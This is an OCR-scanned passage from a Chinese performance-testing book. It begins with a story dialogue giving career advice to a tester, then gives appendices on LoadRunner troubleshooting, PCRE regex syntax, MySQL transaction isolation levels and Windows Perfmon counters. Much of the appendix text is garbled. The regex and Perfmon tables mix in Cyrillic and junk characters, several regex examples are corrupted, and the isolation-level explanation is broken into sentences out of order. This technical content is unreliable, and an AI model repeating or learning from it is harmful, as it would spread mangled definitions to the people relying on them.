愉快 的 交谈 并 没有 停止 ， 小 黑 经 理 继续 说 : 不 论坛 样 ， 你 现在 要 考虑 自己 的 职业 发 展 方向 ， 很 多 人 之 所 以 发 展 到 了 瓶颈 ， 就 是 平时 缺少 了 对 自己 职业 发 展 的 规划 。 一 般 我 将 测试 的 职业 发 展 方向 分 为 以 
下 几 类 。 


1. 测 试 技术 路 线 


从 初级 到 中 级 、 高 级 、 资 深 测试 工程 师 ， 这 也 许 是 大 多 数 人 的 职业 发 展 方向 ， 也 是 无 数 人 梦 几 以 求 的 发 展 方向 。 但 这 里 需要 明确 几 点 ， 入 门 容 易 ， 但 提升 需要 付出 时 间 与 精力 ， 高 级 、 资 深 的 测试 工程 
师 往往 是 比较 全 面 的， 能 够 完成 功能 、 性 能 、 自 动 化 等 多 项 任务 ， 需 要 有 综合 的 技能 或 者 十 分 精通 某 一 项 技能 。 


例如 ， 性 能 测试 工程 师 ， 入 门 门槛 较 低 ， 但 学 习 的 东西 较 多 ， 需 要 有 较 广 的 知识 面 ， 能 够 捕捉 到 异常 现象 ， 并 对 现象 进行 分 析 推 理 ， 最 终 得 出 结论 并 给 出 解决 方案 ， 也 正 是 因为 要 求全 面 ， 所 以 薪水 也 
比较 高 。 


再 例如 ， 自 动 化 测试 工程 师 ， 需 要 有 编码 功底 与 思想 ， 否 则 学 习 会 比较 吃力 ， 我 当年 自学 自动 化 的 时 候 那 叫苦 啊 。 而 另 一 个 职位 ， 安 全 测试 工程 师 虽然 相对 来 说 比较 冷门 ， 但 随 着 信息 时 代 的 发 展 ， 安 
全 也 会 被 越 来 越 重视 ， 前 段 时 间 不 就 发 生 多 起 信息 泄露 的 大 事件 吗 ， 影 响 极 其 恶劣 ， 对 公司 也 造成 巨大 损失 。 所 以 ， 安 全 测试 未 来 也 会 逐渐 成 为 主角 。 


2. 质 量 保证 路 线 


质量 保证 也 就 是 我 们 常 说 的 QA。 该 路 线 在 国内 并 不 十 分 普及 ， 甚 至 理解 上 有 误区 。 质 量 保证 不 仅 承 担 测试 的 任务 ， 更 需要 分 析 、 研 究 如 何 提 升 研发 体系 、 流 程 的 质量 与 效率 ， 以 及 项 目的 进度 、 质 量 
等 。 选 择 此 路 线 发 展 的 人 需要 有 大 局 观 的 分 析 把 控 能 力 ， 能 对 整体 的 研发 体系 以 及 某 些 细节 之 处 做 出 分 析 并 给 出 解决 方案 ， 同 时 需要 良好 的 沟通 能 力 以 及 强大 的 执行 为 。 因 为 一 个 流程 的 改进 需要 与 各 个 音 
门 沟通 ， 甚 至 需要 强力 推行 ， 所 以 这 些 都 是 必 备 的 能 力 。 


3. 测 试管 理 路 线 


测试 管理 一 般 发 展 为 测试 Leader、 测 试 主管 、 测 试 经 理 、 测 试 总 监 。 每 一 次 的 提升 不 论 是 从 硬 技能 ， 还 是 软 技能 方面 都 要 求 很 高 。 当 你 是 测试 Leader 的 时 候 ， 带 领 的 可 能 是 几 个 人 ， 而 到 了 测试 总 监 带 
领 的 可 能 是 几 个 测试 部 门 。 除 了 必 备 的 技术 外 ， 管 理 、 领 导 、 沟 通 能 力 都 是 很 重要 的 。 除 此 之 外 ， 还 有 一 点 尤为 重要 ， 那 就 是 洞察 能 力 。 能 够 分 析出 公司 现状 、 部 门 现状 能够 预见 未 来 的 发 展 ， 这 样 才能 
有 更 多 的 机 会 去 争取 部 门 的 发 展 ， 迎 合 公司 的 战略 。 


4. 转 行 
转行 也 是 测试 工程 师 的 选择 ， 因 为 测试 职业 的 特点 使 得 测试 工程 师 不 论 是 在 产品 方面 ， 还 是 沟通 交流 方面 都 具有 后 天 优势 ， 所 以 部 分 人 也 选择 了 从 测试 工程 师 转行 为 产品 人 员 ， 或 者 技术 支持 人 员 。 但 
要 提醒 一 点 ， 转 行 也 是 有 风险 的 ， 毕 竟 进 入 一 个 新 的 行业 或 者 职位 面临 的 挑战 都 是 没有 经 历 过 的 ， 需 要 有 足够 强大 的 内 心 才 行 。 


不 是 有 一 段 流 行 语 是 这 样 说 的 嘛 : “你 只 看 到 我 的 测试 ， 却 没 看 到 我 的 通宵 。 你 有 你 的 需求 ， 我 有 我 的 选择 。 你 嘲笑 我 测试 宅 孤 独 一 生 ， 我 可 怜 你 只 能 呆 呆 站 在 墙 里 。 你 可 以 轻视 恒 夜 不 分 的 测试 ， 但 
会 证 明 它 至 少 能 保证 系统 质量 。 测 试 宅 的 路 上 少不了 苦 吉 和 孤独 ， 但 那 又 怎样 ， 哪 怕 成 不 了 大 神 ， 也 要 测 得 漂亮 。 我 是 测试 ， 我 为 自己 代言 。 " 


“哈哈 ， 老 大 您 太 幽 默 了 。 嗯 ， 我 明白 了 ， 我 会 考虑 发 展 方向 的 ， 也 谢谢 您 一 直 以 来 对 我 的 帮助 ， 遇 到 您 真是 我 的 幸运 啊 。” 小 白 感 恩 地 说 到 。 
“不 客气 ， 希 望 你 早日 成 神 ， 我 期 待 着 这 一 天 的 到 来 ! " 


一 顿 愉快 又 充满 乐趣 的 饭局 结束 了 ， 但 小 白 的 性 能 测试 之 旅 并 没有 结束 ， 也 许 又 是 一 个 新 的 开始 。 让 我 们 一 起 祝福 小 白 在 性 能 测试 的 路 上 大 展 宏图 ! 


12.6 本章 小 结 


本 章 对 很 多 读者 关心 的 问题 进行 了 全 面 分 析 并 给 出 了 指导 性 意见 ， 当 你 迷茫 有 疑问 的 时 候 ， 可 以 品味 一 下 本 章 的 内 容 ， 它 会 给 你 带 来 一 点 希望 与 动力 。 我 们 也 要 相信 测试 的 前 途 是 光明 的 ， 不 要 自己 人 否 
定 自 己 ， 充 满 正 能 量 地 前 进 吧 ! 


附录 A ”LoadRunner 常 见 问 题 以 及 解决 方法 


1.LoadRunner 无 法 安装 

这 里 推荐 使 用 LoadRunner 11。 如 果 出 现 无 法 安装 的 情况 ， 一 般 有 以 下 3 种 可 能 。 

1) 因为 目前 LoadRunner 只 能 较 好 地 兼容 Windows XP. Windows 7 32 位 和 64 位 ， 所 以 请 确保 安装 在 上 述 操作 系统 中 。 

2) 可 能 缺少 Microsoft.Net Framework， 到 微软 官网 下 载 安 装 后 再 重新 安装 LoadRunner。 

3) 可 能 是 电脑 上 安装 的 第 三 方 管理 软件 阻止 了 LoadRunner 的 安装 或 阻止 了 修改 注册 表 。 关 闭 类 似 这 样 的 第 三 方 管理 软件 重新 安装 LoadRunner 即 可 。 
2. 录 制 时 无 法 启动 |E 

尝试 如 下 几 种 方法 。 

1) 设置 IE 浏览 器 为 默认 浏览 器 ， 且 在 高 级 中 勾 选 “启用 第 三 方 浏览 器 扩展 ”。 

2) 如 果 1) 中 的 方法 不 可 行 ， 可 以 在 LoadRunner 录 制 时 ， 指 定 浏览 器 的 绝对 路 径 。 将 Windows 7 64 位 的 浏览 器 的 绝对 路 径 指定 到 x86 目 录 下 的 IE。 
3) 如 果 方 法 1) 2) 都 不 行 ， 那 么 请 升级 浏览 器 到 IE 9, IE 9 经 测试 比较 稳定 。 如 果 使 用 的 是 Windows XP 系 统 ， 那 么 建议 使 用 IE 6, 

3. 录 制 脚本 为 空 


党 试 此 方法 解决 : 启动 LoadRunner 的 VuGen， 进 入 Recording Options， 进 行 如 下 图 的 设置 即 可 解决 。 


Wes Бый | Рой | Service [| ssl 


E Dorrelabion 


. New Entry ili Edit Entry | Delete Entry | ріст... - 
r- Duscripitian 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 
Select а server entry to enable/disable or update. | 


Use Defauts || ok | Cancel | Help | 


4. 示 例 网 站 WebTours 无 法 启动 
尝试 此 方法 解决 : 进入 LoadRunner 安 装 包 中 的 IrunneNCommonNStrawberry perl 510 目录 下 ， 重 新 安装 strawberry-perl-5.10.1.0.msi， 之 后 再 党 试 能 否 启动 。 
5.Controller 中 运行 场景 有 很 多 超时 错误 


进入 Run-time Setting 对 话 框 后 ， 依 次 进入 Internet Protocol 一 Preference， 单 击 Options 按 钮 ， 进 入 高 级 设置 对 话 框 ， 可 以 修改 各 类 超时 设置 的 默认 值 。 一 般 只 修改 Step download timeout, 
HTTP-request connect timeout、HTTP-request receive timeout 这 3 个 值 ， 适 当 调 大 即 可 。 


6. 录 制 完 成 有 乱码 
分 别 尝试 如 下 3 种 方法 。 
1) 在 Recording Options 选 项 中 勾 选 utf8。 
2) 依次 选择 Run-time Settings 一 Preferences 一 Options， 在 弹出 的 界面 中 选择 convert from 中 勾 选 to utf8, 
3) 使 用 Ir convert string encoding (" 中 文字 符 "，NULL，"utf-8"，"param") 国 数 ， 具 体 可 见 LoadRunner 的 帮助 函数 文档 。 
7.LoadRunner 运 行 常见 报错 解决 方法 汇总 
(1) Failed to connect to server “192.168.2.192” 
可 能 原因 : 小 量 用 户 时 出 现 ， 可 能 是 程序 上 的 问题 。 大 量 用 户 时 出 现 ， 可 能 是 系统 支撑 不 了 这 么 多 并 发 。 
(2) Connection Error: timed out 
可 能 原因 : 应 用 服务 参数 设置 问题 。 例 如 ， 在 许多 客户 端 连 接 Weblogic 应 用 服务 器 被 拒绝 ， 而 在 服务 器 端 没 有 错误 显示 ， 这 有 可 能 是 Weblogic 中 的 server 元 素 的 AcceptBacklog 属 性 值 设 得 过 低 。 
(3) Server has shut down the connection prematurely 
可 能 原因 : 应 用 服务 器 参数 或 数据 库 连 接 数 设 置 不 合理 造成 。 


(4) Error-27979:Requested form not found 或 web submit form highest severity level was" ERROR", 0 body bytes, 0 header bytes 


1) 所 选择 的 录制 脚本 模式 不 正确 。 尝 试 进行 如 下 设置 后 运行 ， 打 开 录 制 选项 配置 对 话 框 进行 设置 ， 在 “Recording Options" BS "Internet Protocol” 选 项 中 的 “Recording” 中 选择 “Recording 
Level" J “HTML-based script”， 单 击 “HTML Advanced" , 选择 “Script Type” J} “A script containing explicit”， 然 后 选择 使 用 “URL-based script” 模 式 来 录制 脚本 。 


2) 没有 关联 或 关联 边界 不 正确 导致 。 


附录 B 。 弟 用 性 能 测试 文档 模板 


为 了 方便 读者 阅读 ， 特 提供 “常用 性 能 测试 文档 ”的 二 维 码 ， 请 扫描 后 阅读 。 


计划 模板 


方案 模板 


附录 C ”正则 表达 陈 全 集 


正则 表达 式 有 多 种 不 同 的 风格 。 下 表 是 在 PCRE 中 元 字符 及 其 在 正则 表达 式 上 下 文中 的 行为 的 完整 列表 ， 适 用 于 Per| 或 者 Python 编程 语言 (grep 或 者 egrep 的 正则 表达 式 文 法 是 PCRE 的 子 集 ) 。 


TW 
EH 
d 


将 下 一 个 字符 ДА ЧРИ. — R У. аја 91 На АЕ ЖЧ» ЭШ, 
п” ВЕЙ "n", "m" ДОУ. BIT “А? Жї "NUT, “C pose "(T 


匹配 输入 字符 串 的 开始 位 置 。 如 果 设 置 了 RegExp 对 象 的 Multiline JE FE, M) ^ t pojl] “ла” ay 


E че рь Eí. 

А 匹配 输入 字符 串 的 结束 位 置 。 如 果 设 置 了 RegExp 对 象 的 Multiline 属性 ， 则 $ 也 匹配 “\” 或 
“YY ”之 前 的 位 置 

t 匹配 前 面 的 子 表达 式 0 次 或 多 次 。 例 如 ，zo* SEEM “z”, "zo" AK “zoo”. * 等 价 于 (0, 

PEMAI MRI TREAS R. MAN, “zot” REM “zo” LUE “zoo”, HAREMA “z” + 
SEDET. iL} 

5 匹配 前 面 的 于 表达 式 0 XEX— K. JHI, "do(es)?" АЈДЕ "do" ниў "does" PRJ "do". ? 等 

| tF (0.1) 

" n 是 一 个 非 负 整数 。 匹 配 确定 的 nn 次 。 例 如,“o{2}” 不 能 匹配 “Bob” 中 的 “o”, 但 能 匹配 

L 5 food - 中 的 [^ 41 小 - Q 

" 1 是 一 个 非 负 整数 。 至 少 匹 配 半 次 d 如 ,“of2,.}” 不 能 匹配 “Bob” 中 的 “o”， 但 能 匹配 

i “foooood ”中 的 所 有 o. “o{1,}” SF 价 于 “ 人 

ТРТ m п J y dE ñ XE, Н ncm, ВЕ рп K H 22 Ар m ik. fd, “о/1,3}” ЖЕЙ 

à М 


“fooooood” 中 的 前 三 个 o. “о40,1}” ЗЕ “0”. ТИЕШ ТЕШ S HIM T PZ [Н] S BE4 2 Të 


字符 


(pattern) 


(?:pattern) 


(?—pattern) 


(?!pattern) 


(? «—pattern) 


(? «!pattern) 


x|y 


[xyz] 


Fem, 
qti 
eL 

- 

e 


描述 


当 该 宇 符 紧 跟 在 尾 何 一 个 其 他 限制 符 C7. (n). (nj. (numi) 后 面 时 ， 匹 配 模式 是 非 颌 禁 的 。 
非 偶 禁 模 式 尽 可 能 少 地 匹配 所 搜索 的 宇 符 串 ， 默 认 的 贪 楚 模 式 则 尽 可 能 多 地 匹配 所 搜索 的 字符 串 。 
例如 ， 对 于 字符 串 “oooo”,“o+?” 将 匹配 单个 “o”， 而 “o+” 将 匹配 所 有 “o” 


匹配 除 “Ww” 之 外 的 任何 单个 字符 。 要 匹配 包括 “\” 在 内 的 任何 宇 符 ， 请 使 用 像 “(.|m) ”的 模式 


匹配 pattern 并 获取 这 一 匹配 的 子 字符 串 。 该 子 字符 串 用 于 回 后 引用 。 所 获取 的 匹配 可 以 从 产生 的 
Matches 集合 得 到 ， 在 VBScript 中 使 用 SubMatches 集合 ， 在 JavaScript 中 则 使 用 $0---$9 EE, ŒL 
配 图 括号 字符 ， 请 使 用 “\ ”或 “人 ” 


匹配 pattern 但 不 获取 匹配 的 子 字符 串 ， 也 就 是 说 这 是 一 个 非 获 取 匹 配 ， 不 存储 匹配 的 子 字符 
串 ， 而 是 用 于 向 后 引用 。 这 在 使 用 或 “(|)” 字 符 来 组 合 一 个 模式 的 各 个 部 分 时 很 有 用 。 例 如 ， 
“industr(?:ylies)” 就 是 一 个 比 “industrylindustries ”更 简略 的 表达 式 


正 向 肯定 预 查 ， 在 尾 何 匹配 pattern 的 字符 串 开始 处 匹配 查找 字符 串 。 这 是 一 个 非 获取 匹配 ， 也 就 
是 说 ， 该 匹配 不 需要 获取 供 以 后 使 用 。 例 如 ，“ Windows(?=95|98|INTI2000)” 能 匹配 “Windows2000” 
中 的 “Windows” ， 但 不 能 匹配 “Windows3.1” 中 的 “Windows”。 预 查 不 消耗 字符， 也 就 是 说 ， 
在 一 个 匹配 发 生 后 ， 最 后 一 次 匹配 之 后 立即 开始 下 一 次 匹配 的 搜索 ， 而 不 是 从 包含 预 查 的 字符 之 后 
Tn 

下 向 否定 预 查 ， 在 任何 不 匹配 pattern 的 字符 串 开 始 处 匹配 查找 宇 符 串 。 这 是 一 个 非 获取 匹配 ， 也 
就 是 说 ， 该 匹配 不 需要 获取 殿 以 后 使 用 。 例 如 “Windows(?195|98INTI2000)” 能 匹配 “ Windows3.1" 
HJ “Windows”, 但 不 能 匹配 “Windows2000” 中 的 “Windows”。 预 查 不 消耗 字符 ， 也 就 是 说 ， 
在 一 个 匹配 发 生 后 ， 最 后 一 次 匹配 之 后 立即 开始 下 一 次 匹配 的 搜索 ， 而 不 是 从 包含 预 查 的 字符 之 后 
开始 

БЕ НН ЖЕШ. 与 正和 疝 肯 定 预 查 类 似 ， 只 是 方向 相反 。 例 如 ,，“(?<=95|98|NT|2000)Windows” 能 
匹配 “2000Windows” 中 的 “Windows ”， 但 不 能 匹配 “3.1Windeows” 中 的 “Windows” 

反问 和 否定 坑 查 ， 与 正 回 否定 预 查 燃 似 ， 只 是 方 问 相反 。 人 鲍 如 “(?<195|98INTI20007Windows ”能 匹 
配 “3.1Windows ”中 的 “Windows ， 但 不 能 匹配 “2000Windows ”中 的 “Windows ” 

匹配 X sy. PA, "z[food" 能 匹配 “z 或 “fiod . "(z|f)ood 则 匹配 “zood 或 “food 

FITE S (character class)。 匹 配 所 包含 的 任意 一 个 字 行 。 例 如 ,，“ [abe] ”可 以 匹配 “plain” 中 的 
“ a”。 特 殊 字符 仅 有 有 反 斜 线 \ 保 持 特 殊 含义 ， 用 于 转 义 字符 。 其 他 特殊 字符 ， 如 星 号 、 加 号 、 各 种 
括号 等 均 作 为 普通 字符 。 脱 宇 符 ^ 如 果 出 现在 首位 ， 则 表示 鱼 值 字符 集合 ; 如 果 出 现在 字符 串 中 间 ， 
SUL TED ИЧЕТ» EFI - 如 有 出 现在 罕 符 串 中 间 ， 则 表示 字 侍 范 玮 摘 述 ;如 秆 如 竺 出 现在 首位 ， 
则 仅 作 为 普通 字符 


排除 型 ( negate) 字符 集合 。 匹 配 未 列 出 的 任意 字符 。 例 如 ,，“[*abc]” 可 以 匹配 “plain” 中 的 
“plin” 


字 千 范围 。 匹 配 指 定 范 围 内 的 任意 字 行 。 例 如 ,，“[a-z] ”可 以 匹配 a — z AREE NBS FEFA 


排除 型 的 字符 范围 。 匹 配 任何 不 在 指定 范围 内 的 任意 字符 。 例 如 ,“ [fa-z” 可 以 匹配 任何 不 在 
a — z AEETI 


匹配 一 个 单词 边界 ， 即 指 单词 和 空格 间 的 位 置 。 例 如 , “emb” 可 以 匹配 “ never” PAJ “ег”, {Н 
ABHEUL BS "verb" rRRBJ "er" 


匹配 非 单 词 边界 . “eB” ВЕЙ "verb" RB "er", AREE BO "never" "BÉ "er" 


匹配 由 x 指明 的 控制 字符 。 例 如 ,YeM 匹配 一 个 Control-M 或 回 车 符 。x 的 值 必须 为 和 一 Z 或 aa 一 z 
之 一 ， 否 则 ， 将 e 视 为 一 个 原 兴 的 “ce ”字符 


字符 


ШЕ 


匹配 一 个 数字 字符 ， 等 价 于 [0-9] 
|р ро аА, ЧЕПТЕ [^0-9] 
Di По йа р, FiF Ос 和 CL 
n e—a T, STT \хба ЯП eJ 
Ww 匹配 一 个 回 车 符 ， 等 价 于 ‘x0d A cM 
Ws EMFAZATA., GiT. WMR BAST., SEDIT [ fant] 
`$ 匹配 任何 非 空 白字 符 ， 等 价 于 [^ MPa] 
M 匹配 一 个 制 表 符 ， 等 价 于 009 和 SI 
Ww ро а Eel def. rF w0b 和 "cK 
tw Ше ага FERIER рн] р, ALT "[A-Za-z0-9 ]" 
W 匹配 任何 非 单 刘 宇 人 符 ， 等 从 于 “[^AA-Za-z0-9 ]" 
| Ел, JU п 9258686 9 8. TAREE АЭИ ЛИЛИ ЗЕК. БШ. “w41” DU 
\хп d ^ ul Suyupa оке = каро АЫ n MESE AE E mes 

BU “А”. “x041” 则 等 价 于 “x04&1”。 正 则 表达 式 中 可 以 使 用 ASCH 编码 

_ 后 引用 ( back-reference) “ТГВ (substring), 12 FT 88 5 1E ll] d 15 3C BJ 9B num 个 用 括 

num Th ERAY 于 表达 式 1 екенін 匹配 。 其 中 noum 是 从 1 开始 的 正 整数 ， 其 上 限 可 能 是 99。 例 
"Cu" VE pnr B 21" 29 BHBISISE TE 

M 标识 一 个 八进制 转交 值 或 чыг SUR, ШЖ w B n Tak By ak usa K. W n iA 
| Hj. ТЇЇ, WE m ЖЛЕ У (0 — 7). WW» J — 4 /N E I| I 

慰 识 一 个 / ЖК : X {ну —[ mI HH. ШЖ vim Z Bi EDU тт 3&isxx. UU] nm 295] F 51 
nm Ho WE \пт Z BU 2 n n 为 一 个 后 跟 交 字 m 的 癌 后 引用 。 如 果 前 面 的 条 件 都 不 

HE, H n 和 m 的 为 八进制 数字 СО — 7), MN) am " 匹配 八进制 转 义 值 mm 

мит 9 nu ВЕУ (0 — 3), Н md iS» Ei СО — 7). ШЕ ПЛАНЕ И У{Н nml 
un 匹配 nw， 其 中 是 一 个 用 4 个 十 六 进 制 数 宇 表示 的 Unicode 字符 。 例 如 , wo0AO 匹配 版 权 符 号 (9) 


附录 D ” ”MySQL 数据 库 事 务 隔离 级 别 


在 MySQL 数 据 库 调 优 中 ， 总 会 提 到 | 数据 库 事 务 隔离 级 别 ， 但 很 多 测试 人 员 不 懂 数 ， 在 这 里 进行 简要 说 明 。 数 据 库 事务 隔离 级 别 分 为 以 下 4 种 。 


1.Read Uncommitted ( 读 取 未 提交 内 容 ) 


在 该 隔离 级 别 ， 所 有 事务 都 可 以 看 到 其 他 未 提交 事务 的 执行 结果 。 本 隔离 级 别 很 少 用 于 实际 应 用 ， 因 为 它 的 性 能 也 不 比 其 他 级 别 好 多 少 。 读 取 未 提交 的 数据 ， 也 被 称 为 脏 读 (dirty read) 。 


2.Read Committed ( 读 取 提交 内 容 ) 


这 是 大 多 数 数 据 库 系统 的 默认 隔离 级 别 (但 不 是 MySQL 默 认 的 ) 。 
Read) 


3.Repeatable Read (可 重读 ) 


这 是 MySQL 默 认 的 事务 隔离 级 别 ， 它 确保 同一 事务 的 多 个 实例 在 并 发 读 取 数据 时 ， 看 到 同样 的 数据 行 。 不 过 理论 上 ， 


户 读 取 某 一 范围 的 数据 行 时 ， 另 一 个 事务 又 在 该 范围 内 插入 了 新 行 
concurrency control，MVCC) 机 制 解决 了 该 问题 。 


4.Serializable (可 串 行 化 ) 


这 是 最 高 的 隔离 级 别 ， 它 通过 强制 事务 排序 ， 使 之 不 可 能 相互 冲突 ， 


这 4 种 隔离 级 别 采取 不 同 的 锁 类 型 来 实现 ， 若 读 取 的 是 同一 个 数据 ， 


它 满足 了 隔离 的 简单 定义 : 
， 因 为 同一 事务 的 其 他 实例 在 该 实例 处 理 其 间 可 能 会 有 新 的 commit， 所 以 同一 select 可 能 返回 不 同 结果 。 


从 而 解决 幻 读 问 题 。 简 言 之 


就 容易 发 生 问 题 。 例 如 : 


一 个 事务 只 `В 能 看 见 已 经 


它 是 在 每 个 读 的 数据 行 上 加 上 共享 锁 。 


提交 事务 所 做 的 改变 


。 这 种 隔离 级 别 也 支持 所 谓 的 不 可 重复 读 (Nonrepeatable 


这 个 级 别 可 


这 会 导致 另 一 个 环 手 的 问题 : 幻 读 (phantom read) 。 
， 当 用 户 再 读 取 该 范围 的 数据 行 时 ， 会 发 现 有 新 的 “幻影 ” 行 。 


^5 
能 导 


简单 地 说 ， 幻 读 是 指 当 用 


InnoDB 和 Falcon 存 储 引 警 通过 多 版 本 并 发 控制 (multiversion 


致 大 量 的 超时 现象 和 锁 竞 争 。 


脏 读 : 某 个 事务 已 更 新 一 份 数据 ， 另 一 个 事务 在 此 时 读 取 了 同一 份 数据 ， 由 于 某 些 原 因 ， 前 一 个 RollBack 了 操作 ， 则 后 一 个 事务 所 读 取 的 数据 就 会 是 不 正确 的 。 


不 可 重复 读 : 在 一 个 事务 的 两 次 查询 中 数据 不 一 致 。 这 可 


是 两 次 查询 过 程 中 间 插 入 了 一 个 事务 更 新 的 原 有 的 数据 。 


幻 读 : 在 一 个 事务 的 两 次 查询 中 ， 数 据 笔 数 不 一 致 。 例 如 ， 有 一 个 事务 查询 了 几 列 (row) 数据 ， 而 另 一 个 事务 却 在 此 时 插入 了 新 的 几 列 数据 ， 先 前 的 事务 在 接 下 来 的 查询 中 ， 就 会 发 现 有 几 列 数据 是 


它 先前 没有 的 。 


在 MySQL 中 ， 实 现 了 这 4 种 隔离 级 别 ， 分 别 有 可 能 产生 如 表 所 示 的 问题 。 


FEAN 不 可 重复 读 iz 


реА (Read Uncommitted ) 


E о i V 
可 重复 读 (Repeatable Read) V 
可 曲 行 化 (Serializable) 


1.Perfmon 的 监控 对 象 


附录 E “Perfmon 计 数 器 参数 说 明 


Perfmon 提 供 了 比较 全 面 的 系统 性 能 指标 ， 并 且 能 够 根据 性 能 管理 的 要 求 订 制 日 志 内 容 、 关 键 指标 偏离 时 的 警报 措施 。 表 E-1 列 出 了 Perfmon 可 以 监控 的 性 能 对 象 ， 每 一 个 性 能 对 象 项 下 包含 多 个 性 能 


指标 计数 器 。 


性 能 对 象 


Browser 


Cache 


Distributed Transaction Coordinator 


ICMP 


IP 


Job object 


Job object Detail 


AE-1 Petfmon 监 控 对 象 


提供 的 信息 


Browser performance object 由 衡量 通知 、 枚 举 和 其 他 浏览 右 传 输 率 的 计数 毅 


组 成 


Cache s sss i object 包括 监 督 文件 系统 组 和 仔 WAT EJ B| p < [uj 
的 存储 最 近 使 用 过 | 数据 ， 以 便 访 问 该 数据 时 ， 不 需 青 从 磁盘 上 读 取 的 那 一 
маг ff.) HEC 应 用 程序 只 使 用 缓存 ， 所 以 该 缓存 可 作为 应 用 程序 

О ЕНУ A o 以 有 TU 存 时 ,缓存 可 增 大 ,但 当 内 存 不 足 时 ， 缓 存 会 
显得 太 小 ， 而 无 法 使 用 


Microsoft Distributed Transaction Coordinator ТЕ ЕТТ УЗУ ЛЕ 


ICMP performance object 包 丘 衡量 用 ICMP ИМУ E Т AIEE HJIT 


ZU. МЕЛ И E ICMP 协议 错误 | ип Ta 


IP 数据 报 速度 的 计 


IP кт object 包括 衡量 恒 用 IP 协议 发 送 和 接收 由 


数 器 ， 还 包含 监督 Ip 协议 错误 的 计数 器 


由 每 个 活动 但 名 的 作业 对 象 收 集 的 账户 和 处 理 需 使 用 数据 的 报告 


Job object Detail 显示 有 关 作业 对 象 中 的 活动 处 理 的 详细 操作 信息 


ЕВЕ S& 


Logical Disk 


Memory 


NBT Connection 


Network Interface 


Objects 


Paging File 


Physical Disk 


Print Queue 


Process 


Processor 


Processor performance 


Psched Pipe 


RAS Port 


RAS Total 


Redirector 


RSVP 


System 


TCP 


m, 

A Mor 
peria 
ГЪ 
ы 


提供 的 信息 


Logical Disk performance object ЁШ t —-1- 88 З eV [8] ЖЕК ЖЕШКЕ ПЗЕ 38. 
TERAH ro Performance Monitor AES RARIS ir CH C) 来 识别 还 


Memory performance object 由 描述 计算 机 上 的 物理 和 虚拟 肉 存 行为 的 计数 回 
组 成 。 物 理 肉 存 是 指 计算 机 上 的 随机 存 取 存储 器 的 数量 。 虚 拟 内 存 由 物理 内 存 
和 磁盘 上 的 空间 组 成 。 许 多 内 存 计数 器 监视 页 面 调度 ( 指 磁盘 与 物理 内 存 之 间 
的 代码 和 数据 页 的 移动 )。 过 多 的 页 面 调 度 (内 存 不 足 的 一 种 表现 ) 可 引起 延 
时 ， 会 影响 整个 系统 的 处 理 效率 

NBT Connection perior manec object 包括 衡量 用 NBT 连接 在 一 首 本 地 计算 机 
各 远程 计算 机 之 间 发 送 和 接收 字 节 的 速率 的 计数 需 。 该 连接 用 远程 计算 机 

名 称 来 识别 

Network Interface performance object 包括 衡量 通过 一 个 TCP/P 网 络 连 接 发 
送 和 接收 季节 和 数据 包 的 速率 的 计数 薪 。 它 包括 监督 连接 错误 的 计数 禹 

Object performance object BAER APRES XAR. "UTER. E 
HB. РАТ ВЕ ЛЕНИЕ ж. tla ЕЧ ЫЕ И-И ИЛЛ Tupa aE 
BIB FE. BETOS ЕРИН. ИТИН XOU ВУЗЕ А E. 

Paging File performance object 包括 监督 在 计算 机 上 的 分 页 文件 的 计数 器 。 分 
页 女 件 是 指 为 备份 计算 机 上 已 用 物理 内 存 而 保留 的 磁盘 空间 

Physical Disk performance object 包 舍 监视 计算 机 上 的 硬盘 或 固定 磁盘 驱动 大 
的 计数 如 。 和 磁盘 用 于 存储 文件 、 程 序 及 分 页 数据 ， 通 过 读 取 检索 这 些 项 目 并 通 
过 记录 写作 对 其 进行 更 改 。 物 理 磁盘 计数 虽 的 值 为 逻辑 磁盘 (由 磁盘 分 成 ) 值 
的 总 和 


未 一 个 打印 列队 的 操作 统计 
Process performance object 包含 监视 运行 中 应 用 程 厅 和 系统 处理 的 计数 前。 


所 有 在 一 个 处 理 中 的 线程 均 共 享 同 一 个 地 址 空间 并 可 以 访问 同样 的 数据 


Processor performance object 包含 衡量 处 理 器 活动 方面 的 计数 器 。 处 理 器 是 
计算 机 进行 算术 和 逻辑 计算 、 在 附属 件 起 始 操作 及 运行 处 理 线程 的 部 分 。 一 人 台 
计算 机 可 以 有 多 人 台 处 理 器 。 处 理 器 对 象 将 每 台 处 理 器 作为 对 象 的 范例 


处 理 久 信息 
数据 包 计划 程序 中 的 管 这 统计 数 


RAS Port performance object 包括 监督 计算 机 上 的 RAS 设备 的 每 个 远程 访问 
(ЕУ УП ПУ CR 


RAS Total performance object 包含 将 计算 机 上 的 远程 访问 服务 (RAS) 设备 
的 所 有 端口 的 值 相 加 的 计数 颖 

Redirector performance object 包 拓 在 本 地 计算 机 上 监督 网 络 连 接 的 计数 入 

RSVP ЕВЕ 

System performance object 包 售 应 用 于 计算 机 上 不 止 一 个 组 件 处 理 羡 范例 的 
"VET. 

TCP performance object 包含 衡量 使 用 TCP 协议 发 送 和 接收 TCP Segment Ж 
率 的 计数 器 变量 。 它 包含 监督 在 每 个 TCP 连接 状态 下 的 TCP 连接 数目 的 计数 
үт НГ 


性 能 对 象 提供 的 信息 
Telephony 电话 服务 系统 
Terminal Services 2A is R 3 1н 81 
Terminal Services Session 每 次 终端 服务 会 话 资源 监督 
Thread Thread performance object (215 ШЖ Fe 4T 7J 7; VH] Ж {т< — T 2k e e TE 
—tbstrnDidueug«. MAZ TÉ a 个 线程 
UDP — object EA diam . H UDP 协议 发 送 和 接收 UDP 数据 报 的 
UDP T 
车 率 的 计数 ЖА c CEBHE а АУЕЗ 数 fn 
WMI Objects WMI 适配器 返回 的 WMI 高 性 能 提供 程序 


2. 常 用 的 Perfmon 监 控 对 象 与 指标 


以 上 列 出 的 性 能 对 象 总 共有 上 百 个 性 能 指标 ， 我 们 关注 一 个 系统 的 性 能 时 ， 不 可 能 关注 这 么 多 指标 ， 有 些 对 象 对 实际 的 应 用 系统 影响 并 不 大 。 但 对 于 一 个 Windows 操 作 系 统 来 说 ,CPU、Memory.、 
Disk 和 Network 等 关键 对 象 是 性 能 监控 中 必 不 可 少 的 。 表 E-2 列 举 了 最 常用 的 性 能 对 象 的 重要 指标 。 


表 E-2 ”Perfmon 常 用 性 能 指标 


Processor % Idle Time % Idle Time 是 处 理 希 在 来 样 期 间 宝 闲 时 间 的 百分比 


9o Processor Time 是 指 人 处 理 疾 用 来 执行 非 闲 演 线程 时 间 的 百分比 。 
